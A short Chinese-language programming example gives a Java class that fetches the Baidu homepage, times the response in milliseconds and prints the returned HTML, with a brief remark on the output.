寫一個java程序訪問url，並根據stream算出響應時間及讀取打印頁面內容
package cn.test;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.net.MalformedURLException;
import java.net.URL;
public class duqubaidu {
public static void main(String[] args) throws IOException {
URL url = new URL("http://www.baidu.com");
long start = System.currentTimeMillis();
InputStream openStream = url.openStream();
StringBuilder builder = new StringBuilder();
BufferedReader reader = new BufferedReader(new InputStreamReader(openStream));
String tmp = null;
while((tmp = reader.readLine()) != null) {
builder.append(tmp + "\n");
}
long end = System.currentTimeMillis();
System.out.println("耗時:" + (end - start) + "ms");
System.out.println(builder.toString());
}
}
輸出結果 ：主要看 DOCTYPE html
